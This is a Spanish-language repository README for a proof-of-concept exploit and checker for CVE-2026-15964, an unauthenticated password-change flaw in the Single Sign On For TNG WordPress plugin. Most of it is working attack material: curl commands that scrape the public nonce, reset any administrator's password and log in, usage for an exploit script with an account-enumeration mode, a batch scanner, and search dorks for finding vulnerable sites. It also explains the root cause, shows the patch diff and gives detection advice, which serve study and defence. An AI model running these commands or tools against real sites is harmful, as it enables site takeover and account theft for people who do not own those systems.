
PoC y comprobador para CVE-2026-15964 - cambio de contraseña no autenticado en el plugin de WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Escalada de privilegios no autenticada mediante cambio de contraseña no verificado en el plugin de WordPress Single Sign On For TNG.
| Gravedad | Crítico (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Cambio de contraseña no verificado) |
| Afecta | versiones del plugin 1.0.0 a 2.0.0 |
| Corregido en | 2.1.0 (publicado el 2026-07-27) |
| Publicado | 2026-08-01 |
| Autenticación requerida | ninguna (wp_ajax_nopriv_ssoprocess_ajax) |
| Impacto | cambiar la contraseña de cualquier cuenta de WordPress, incluidos los administradores: toma de control total del sitio |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Cualquier visitante no autenticado puede cambiar la contraseña de cualquier cuenta en un sitio que ejecute el plugin en la versión 2.0.0 o anterior. Dos peticiones HTTP:
SSOPWDREQUIREMENT.admin-ajax.php con operation=setnewpassword, el correo de la víctima y una nueva contraseña.El reset_password() del núcleo de WordPress hace el resto. Sin token, sin enlace de confirmación por correo, sin comprobación de capacidades. Después, inicia sesión como administrador.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
En single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* significa que el manejador es accesible sin sesión alguna.
load_scripts() está enganchado a wp_enqueue_scripts, por lo que en todas las páginas del front-end el plugin imprime esto en el HTML:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Que se renderiza como:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
Y el manejador lo verifica de esta manera:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
El problema: WordPress calcula los nonces con wp_create_nonce($action) usando el uid y el token de sesión. Para los visitantes sin sesión esos valores son 0 y una cadena vacía, lo que significa que todos los visitantes anónimos reciben exactamente el mismo nonce. Solo se regenera cada 12 horas (el tick del nonce). Así que el nonce que el plugin imprime para cualquier visitante también es válido para el atacante: no hay ningún secreto que robar, está publicado en la propia página.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() es una función del núcleo de WordPress. Establece el nuevo hash, cierra la sesión de la víctima en todas las demás sesiones y dispara las acciones password_reset / after_password_reset. Aquí se llama sin que nada demuestre que quien la invoca es el propietario de la cuenta.
Dos detalles adicionales que vale la pena conocer:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC del plugin solo se aplican en validate_form() para los formularios de Forminator, nunca aquí. Se acepta cualquier contraseña.{"success":true} frente a {"success":false} te indica si un correo está registrado. El modo --enum-only del checker usa esto.operation=set_tzoffset llama a update_option('localtzoffset', $post['timezoneoffset']) sin autenticación. No es directamente explotable para RCE, pero es una escritura de opción no autenticada y merece la pena mencionarlo en el writeup.Comparando 2.0.0 con 2.1.0, el arreglo es evidente (y confirma el bug):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
además, en newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
Así que en 2.1.0 el flujo es: una solicitud de recuperación real almacena un custom_recovery_token + custom_recovery_nonce por usuario en los meta datos del usuario, el enlace de recuperación lleva el id de usuario, el formulario valida ambos y el manejador AJAX se niega a ejecutarse una vez que la ventana de recuperación (timeout) ha expirado. Un atacante que no pueda generar un registro de recuperación válido ya no puede invocar setnewpassword.
Paso 1: extraer el nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Paso 2: cambiar la contraseña
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Respuesta esperada en una instalación vulnerable: {"success":true}
Paso 3: iniciar sesión
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit para un solo sitio. Incluye modos no destructivos.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.pyEscáner por lotes para tus propias listas de sitios. No destructivo por diseño: nunca cambia una contraseña.
Así clasifica cada sitio:
SSOPWDREQUIREMENT o las rutas de recursos /wp-content/plugins/single-sign-on-for-tng/ en la página de inicio.Stable tag: del readme.txt. <= 2.0.0 es vulnerable, >= 2.1.0 está parcheado. Esto es la referencia autoritativa según el CVE.--probe, solo cuando no se puede leer la versión): envía operation=setnewpassword con un correo inexistente. Una instalación 2.0.0 responde {"success":false} sin mensaje de error; una instalación 2.1.0 responde con el mensaje "time to submit the new password expired". Nunca se envía un correo real: enviarlo restablecería la contraseña de verdad.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
Sample output:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
Veredictos: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN normalmente significa un WAF, una caché de CDN agresiva o un sitio que bloquea el readme: compruébalos a mano.
tests/mock_server.py emula seis casos (vulnerable por versión, parcheado por versión, vulnerable por sonda, parcheado por sonda, WordPress sin el plugin y no-WordPress). Así se validó la lógica del checker antes de apuntarlo a algo real:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt te da la única dependencia (requests).
Contexto honesto, porque afecta a cómo usas esto.
inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" en buscadores que indexan el código fuente completo de las páginas (PublicWWW, Censys, FOFA), y la propia comunidad de TNG (tngsitebuilding.com, foros de genealogía).UNKNOWN del checker será comparativamente grande en sitios genealógicos reales: muchos están detrás de cachés agresivas o bloquean readme.txt. No lo interpretes como "no vulnerable"; compruébalo a mano.admin-ajax.php donde action=ssoprocess_ajax no provenga de una sesión autenticada; alerta sobre setnewpassword desde fuentes anónimas.wp_users.user_pass y las acciones password_reset / after_password_reset; vigila los inicios de sesión de administrador inmediatamente después de un cambio de contraseña.ssoajaxnonce como información pública: siempre lo fue.Este repositorio es solo para pruebas de seguridad autorizadas y fines educativos. Eres responsable de tus propias acciones. No ejecutes estas herramientas contra sistemas que no sean tuyos o para los que no tengas permiso escrito explícito para probar. El acceso no autorizado a sistemas informáticos es un delito en la mayoría de las jurisdicciones.